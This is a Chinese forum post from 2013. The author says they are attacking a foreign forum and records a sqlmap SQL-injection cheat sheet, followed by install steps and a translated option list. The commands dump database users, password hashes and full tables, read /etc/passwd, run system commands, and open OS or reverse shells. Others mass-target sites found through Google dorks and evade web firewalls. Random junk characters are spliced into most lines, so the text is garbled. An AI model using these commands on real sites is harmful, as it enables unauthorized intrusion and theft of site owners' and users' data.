找回密码
 立即注册
查看: 3719|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
; z* ?4 B6 g+ S. wsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
" B9 L, w" _) B' q6 Dsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名7 H7 j, ~' X# L) Y6 ?4 o
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段& @: _1 Q" I# v" ~4 h- W. [

" ~6 W# a5 D2 W8 ~; V3 S6 W" B7 Osqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v' l7 O+ C8 R% H5 _' H$ Z
0 #获取字段内容+ E1 P8 g! t- B. s4 }2 K

0 `$ A( b  }2 p2 r1 s******************信息获取******************
& T! {2 p7 e6 d% `6 _0 V# ?, R3 Qsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
0 g0 _8 r5 `8 ksqlmap -u “http://url/news?id=1″ –users #列数据库用户
7 i1 Q( L  W/ u5 Bsqlmap -u “http://url/news?id=1″ –dbs#列数据库
% T5 t/ n1 F: Psqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码: U) w! [6 R6 v/ Q9 d1 p
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码- y) S: n6 f1 Y0 L
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”. v5 W; b  [9 u% j% Y3 M
–start 1 –stop 20 #列出指定字段,列出20 条
) T7 f2 Z% `" Fsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
+ [0 u$ C4 [( F" w! C1 m/ W6 esqlmap -u “http://url/news?id=1″ –privileges #查看权限) m' E! H0 H6 V/ Y# c4 m" v$ w1 i
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色0 d- o. ~( S; W; K& d  N8 a
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)& K" [7 s0 _2 g/ e2 X! J% Z
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表* c! n) r6 _8 B6 V
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录, K2 ^8 u1 ^4 }$ ?. B4 ~
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
, A' K; a- U% R: e0 V. L- Qsqlmap -u “http://url/news?id=1″-b #获取banner信息" f% n: y3 m* K' _8 o
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入2 J. o4 x: F; L0 o" w
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
  F; v$ A* b3 W3 C  Vsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
3 P" T1 g9 \( p2 u3 Dsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词; b2 _) f6 N3 n0 J) l; W  \
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令0 n  F- w+ V. g9 g* Q  B
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 y+ F1 h' f: [9 [$ o  l& u% {sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令: c2 Q7 M' D9 w: w( D2 w4 y; M
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell- c0 M7 R, [# S7 h+ H. F
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表  f6 Y# _9 h$ K" T- q( e2 Z/ V
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
0 M1 |; N! Q' t1 {* z8 jsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度/ C3 J! @4 [, |. K" D- I  v
***********高级用法*************' l5 [" r2 J, C- m+ y+ J
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
  y% W3 I0 L6 s8 A4 z# s* _6 x: `sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问; _4 ?1 h9 A% b; A$ o  K
–technique   测试指定注入类型\使用的技术
  z0 x) A/ {5 H. a: D5 H$ C不加参数默认测试所有注入技术: v9 E. x. y. w& g1 r, F
•     B: 基于布尔的SQL 盲注
: _  }( c  s1 Z5 @# @, d# P, C•     E: 基于显错sql 注入0 k& G( A# g$ D$ ~
•     U: 基于UNION 注入7 a" K6 a, V7 {7 \
•     S: 叠层sql 注入
, @& B7 y9 B; J, u8 Z) U* ]•     T: 基于时间盲注
/ {8 J6 g7 C  o; R; V–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()% \7 Y8 n2 R' [8 G$ p1 u
–tamper 插件所在目录6 N$ u6 f8 D, t/ C; d# W8 `- G! U. J
\sqlmap-dev\tamper* _# Z- j8 v7 L9 C
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能) o3 j7 p7 t. `( m9 \
level 执行测试等级 攻击实例:3 I0 _. {% ^0 k* ?
Sqlmap -u “http://url/news?id=1&Submit=Submit”
/ x! g0 h! ?, r1 |–cookie=”PHPSESSID=41aa833e6d0d
$ l: ]" X6 ]( D. d28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user8 g8 n5 W# _- ^5 r  K! d
–password
3 u- c! k3 B8 Y8 R参考文档:http://sqlmap.sourceforge.net/doc/README.html3 M/ `1 m6 a& v- t% M  G3 S
***********安装最新版本*************
: K! c; y3 C7 h! J/ P7 w5 o& T2 Yubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版) R: Z* }$ B) K; T
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 d% p8 o' p' B
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 H( v8 a' U9 A5 f
sudo vim /home/当前用户/.bashrc
2 M7 O% u% b; I: T#任意位置加上:" s! ^) P& z; g: \6 r2 T& E. r0 L* ?
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效& E1 _: P, h9 X3 S1 t" {5 b' P
如果想对所有用户有效 可设置全局 编辑下面的文件
. Q* h6 I5 x! Y6 j8 _6 r6 svim /etc/profile
$ \1 D* }! U3 f; I同样加上:& p9 S4 U: O8 y
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效) {5 I+ z! U! B) _
******************windows 7 (x64) sqlmap install (SVN)************
9 j  u# d* P3 f! z$ B' l5 f# K, ?http://www.python.org/getit/ 安装python( `+ e6 _6 C. [- s3 `; z0 a+ \6 C
http://www.sliksvn.com/en/download 安装windows svn client
7 V9 H# R* I/ {* f/ e0 Asvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& ^; b: L# A$ n% ]6 F( ?
安装sqlmap
5 m! D3 a$ O% [3 k# I/ `*修改环境变量  K: \' `4 \  o6 ?- t" T; M8 u! @
–version             显示程序的版本号并退出
: V, g1 ]' t, A# J  ?-h, –help            显示此帮助消息并退出! A* Y& y6 |& L5 k9 \3 H# a3 Q  b* b
-v VERBOSE            详细级别:0-6(默认为1)9 b  u- t( H3 t' \- S: G
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。: J0 n( A6 y% Q! F2 E. J
-d DIRECT           直接连接到数据库。
5 ?& `# u: v8 ]: v. }-u URL, –url=URL   目标URL。
7 L* |5 O8 Q# {! y- F1 W-l LIST             从Burp 或WebScarab 代理的日志中解析目标。; G; s0 E- D1 u) Y; k( |, k9 @
-r REQUESTFILE      从一个文件中载入HTTP 请求。: f0 C+ d1 p- {' q
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
  ?2 c' ^& z- b1 Y8 N: R% o; j-c CONFIGFILE       从INI 配置文件中加载选项。- R8 F. l. a4 Q# w. j$ h
Request(请求)::
; M+ l& V7 M( X这些选项可以用来指定如何连接到目标URL。1 V9 d1 C# L0 W  z9 a1 L
–data=DATA         通过POST 发送的数据字符串
5 [* Y6 A7 ~/ m5 a–cookie=COOKIE     HTTP Cookie 头# a! C! t. D/ \5 }5 K+ J" H3 z2 N
–cookie-urlencode  URL 编码生成的cookie 注入( a8 m' J9 H6 C! z+ E4 h
–drop-set-cookie   忽略响应的Set –Cookie 头信息. l* V: i- I3 f' J9 N& i

7 N3 w% I$ s" g, L–user-agent=AGENT  指定  HTTP User –Agent 头0 x1 }* Q* o. [$ j. J6 c6 }- Q
–random-agent      使用随机选定的HTTP User –Agent 头$ W$ @# p) ]" R9 l# o2 ?& J9 u+ {
–referer=REFERER   指定  HTTP Referer 头
$ \5 I. k! S/ J; `) w, X–headers=HEADERS   换行分开,加入其他的HTTP 头
1 K/ |9 `( T. P  s1 R5 l–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)6 K. y- w8 v4 c, p4 G' T
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
' J, H2 ~# {/ L/ \–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)) z4 B3 J+ F3 a$ X
–proxy=PROXY       使用HTTP 代理连接到目标URL# p( A! }( j1 `
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)9 p$ M" e3 Y( @/ X1 y' i
–ignore-proxy      忽略系统默认的HTTP 代理$ U4 \: k7 |, r; F; B. E+ ^0 |
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
) A( t( Z7 l0 d! x6 A# X–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
5 x# F9 B; C6 u7 L  J* t  V: h0 f–retries=RETRIES   连接超时后重新连接的时间(默认3)( b) d' a7 }9 W0 w. j! _
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
2 ]- I# x0 G( l& ?–safe-url=SAFURL   在测试过程中经常访问的url 地址
8 p4 T5 |" b1 `, M0 T* ]–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
/ U) H' y+ i  eOptimization(优化): 这些选项可用于优化SqlMap 的性能。
3 Z! q& B) ]# d: ^# ~-o                  开启所有优化开关
, {: b" Q  Q8 q5 }, T–predict-output    预测常见的查询输出
1 D0 a( `6 o0 l2 h( _6 h–keep-alive        使用持久的HTTP(S)连接1 H; |$ c' u( N9 j0 n+ F
–null-connection   从没有实际的HTTP 响应体中检索页面长度. R" s+ z, a. `& M; ^+ c
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)% t. g/ V( e3 T' g& w6 s  M
Injection(注入):$ ?) H( E0 z1 \
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
; z$ l/ F* ^% G-p TESTPARAMETER    可测试的参数(S); [% M) a5 y, d: r& a
–dbms=DBMS         强制后端的DBMS 为此值- @: ^6 j4 P6 l% R# W% `$ Z! A
–os=OS             强制后端的DBMS 操作系统为这个值* Z9 F- C/ v2 C7 N1 R( h+ n# n
–prefix=PREFIX     注入payload 字符串前缀
+ c+ G( ]& {& }8 F2 U4 E–suffix=SUFFIX     注入 payload 字符串后缀8 F) Z% `3 F% `8 x2 E) y4 }6 P7 Z+ j
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
4 @$ E3 O5 O; t) M2 w- v$ Q! a/ x: S, kDetection(检测):
  [6 ^/ U3 w3 T2 v; @+ a这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
/ c% R7 z# h) t( d1 P–level=LEVEL       执行测试的等级(1-5,默认为1)! N. s. I0 }. t( d1 I  |1 D" f
–risk=RISK         执行测试的风险(0-3,默认为1)
  Y$ j, {# Y( f2 W–string=STRING     查询时有效时在页面匹配字符串
- C, A. j8 [+ L% [–regexp=REGEXP     查询时有效时在页面匹配正则表达式
, N  r) L% J) j9 F–text-only         仅基于在文本内容比较网页
8 t1 Z" R. x% Z  d( o1 @2 O+ w$ FTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
# i; u# E; [& i4 D3 u5 {–technique=TECH    SQL 注入技术测试(默认BEUST)5 w" W$ Q* u% t
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
' L9 r' x/ p  _' O4 ]–union-cols=UCOLS  定列范围用于测试UNION 查询注入5 F4 T- C/ t) @  E! V) V4 s7 P
–union-char=UCHAR  用于暴力猜解列数的字符+ U6 R; ]* a5 \& S  T$ S
Fingerprint(指纹):
7 M& W/ ~" h. x' H( \) j- u9 \1 v-f, –fingerprint     执行检查广泛的DBMS 版本指纹8 @1 `: w* `" l! y9 i) e
Enumeration(枚举):
2 v: [6 M3 v  X& }# d - a6 Z. T, G* J
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
: I* o: M, y% l7 l9 D-b, –banner        检索数据库管理系统的标识
% W! s6 x2 |6 e8 u) R( _–current-user      检索数据库管理系统当前用户8 O0 j2 `2 I* C+ a3 ?# g5 L, w
–current-db        检索数据库管理系统当前数据库
. b3 N* [  b* W8 m% a4 i9 }–is-dba            检测DBMS 当前用户是否DBA$ z, i2 x( E9 i1 m( U
–users             枚举数据库管理系统用户  G( Q6 z( K# i" j" n7 `
–passwords         枚举数据库管理系统用户密码哈希
. r1 D( {) n! h–privileges        枚举数据库管理系统用户的权限1 b8 `. \; p2 N4 E/ Q4 s
–roles             枚举数据库管理系统用户的角色5 L" ]; ?8 i* G# z  e: N+ o
–dbs               枚举数据库管理系统数据库3 o6 c# A- \. u+ _0 w% i" `
–tables            枚举的DBMS 数据库中的表' B) Z: t) g5 L- R( l
–columns           枚举DBMS 数据库表列. a- u5 e6 N( q! j6 R5 e# A
–dump              转储数据库管理系统的数据库中的表项
# l! [6 h- c  K( d0 p1 R–dump-all          转储所有的DBMS 数据库表中的条目
( L# E) d5 _; c( Q* Z, R–search            搜索列(S),表(S)和/或数据库名称(S). b8 @0 s2 W% ?' I! e
-D DB               要进行枚举的数据库名
" [' }9 a+ A6 v' T! ^$ m; b-T TBL              要进行枚举的数据库表& z% @) ]$ \* N) B. ~  C1 G
-C COL              要进行枚举的数据库列
& H. V+ D0 H+ k: z/ a3 E; T-U USER             用来进行枚举的数据库用户
3 u, z5 b8 F8 Y1 z% j–exclude-sysdbs    枚举表时排除系统数据库
; \* F1 Q* i* A# A, w3 }# f–start=LIMITSTART  第一个查询输出进入检索
; h/ ^, H- j" q/ V3 f–stop=LIMITSTOP    最后查询的输出进入检索% J2 R: ^  Z) z' b3 I
–first=FIRSTCHAR   第一个查询输出字的字符检索& p7 u! ?7 i6 I6 m) S8 k" ?
–last=LASTCHAR     最后查询的输出字字符检索/ [: F1 `9 c7 t7 v# K% W) b
–sql-query=QUERY   要执行的SQL 语句1 B' x# b6 ~5 Y5 @8 O) q; ^
–sql-shell         提示交互式SQL 的shell. u1 D3 l9 t0 Y6 ]- c
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。2 ^! d7 u! b0 F
–common-tables     检查存在共同表
, [6 r0 U( f7 a: V8 j/ r–common-columns    检查存在共同列" }- `4 |4 S" I* x1 o/ y& ]
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
+ ], F" p% b8 W* \' x( {–udf-inject        注入用户自定义函数8 B  g3 P/ G# ~9 I
–shared-lib=SHLIB  共享库的本地路径+ v6 \; \0 N4 c- ~
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
, C% i& R& P$ Q  D: t+ ~–file-read=RFILE   从后端的数据库管理系统文件系统读取文件3 n" H8 M0 f5 C
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件: ]1 N7 r7 v, k; i4 M9 p, r
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径$ E7 T& X( }/ z: x* h& Z' E
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。0 y/ k# {, t" s+ j1 U
–os-cmd=OSCMD      执行操作系统命令4 H; s+ M0 h* Q# T* K
–os-shell          交互式的操作系统的shell
4 F+ A# ~$ a/ G. X( @  Q–os-pwn            获取一个OOB shell,meterpreter 或VNC- ]9 E; @: ^, H! C$ k8 i5 l
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC! v) J& k9 n4 C$ @( P" ?
–os-bof            存储过程缓冲区溢出利用1 w5 h3 V. a5 y( m
–priv-esc          数据库进程用户权限提升
' d, b6 s3 B7 ?) F$ [1 o: R4 \, |–msf-path=MSFPATH  Metasploit Framework 本地的安装路径2 a6 E* X% Q4 d, p, E" k( R
–tmp-path=TMPPATH  远程临时文件目录的绝对路径- d! a! Y7 }$ O# i% @6 W
" _+ T' X2 g; s0 A2 E
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。4 R1 b8 G, I1 O: |- C
–reg-read          读一个Windows 注册表项值, \" n* ^4 q- G& Y; n
–reg-add           写一个Windows 注册表项值数据! X8 D" s6 F3 u3 q, A0 `& J
–reg-del           删除Windows 注册表键值
8 E/ r" {' _$ |! V+ J- n–reg-key=REGKEY    Windows 注册表键+ V1 F: @  W0 \* ^: E
–reg-value=REGVAL  Windows 注册表项值
- _0 R. y: A2 H, {1 Z–reg-data=REGDATA  Windows 注册表键值数据
! @3 K* I4 J. ]8 P* X: L: I  X' J–reg-type=REGTYPE  Windows 注册表项值类型
# v' s' d9 `0 s" aGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
" p, \( `( v, y3 V9 }8 x2 ~-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
" {; L, M( c, T: D  H8 N-s SESSIONFILE      保存和恢复检索会话文件的所有数据
2 p& F1 [/ r( L0 T* g3 Y–flush-session     刷新当前目标的会话文件
& g7 r* |  u$ F# [) w–fresh-queries     忽略在会话文件中存储的查询结果5 Y1 }3 L: l0 w( l: W
–eta               显示每个输出的预计到达时间+ \! H# h; W8 i) C% L' Q9 w
–update            更新SqlMap' S2 r9 O, L$ O1 m2 ~
–save              file 保存选项到INI 配置文件
3 @! G" v6 I- P3 T% A" ]' Z2 Y–batch             从不询问用户输入,使用所有默认配置。
, p0 Z- J  ]. S  yMiscellaneous(杂项):
& c' c: o; V/ h, U# U–beep              发现SQL 注入时提醒
4 c: z9 A3 o% F! j& R–check-payload     IDS 对注入payloads 的检测测试
; q7 u  q4 {% T% s' Z* w6 ?, _–cleanup           SqlMap 具体的UDF 和表清理DBMS
, T" Q* L8 @/ o, {! ^/ u8 W8 ~–forms             对目标URL 的解析和测试形式% M# P2 f  S: }8 T
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
0 E- a: s+ ?/ |' @9 y* k–page-rank         Google dork 结果显示网页排名(PR)
/ f5 S0 o9 K3 Y–parse-errors      从响应页面解析数据库管理系统的错误消息8 v- Z4 s; t" r3 i
–replicate         复制转储的数据到一个sqlite3 数据库* B' A7 D8 m# w* ?# P
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
: i) t3 ^/ p% y–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表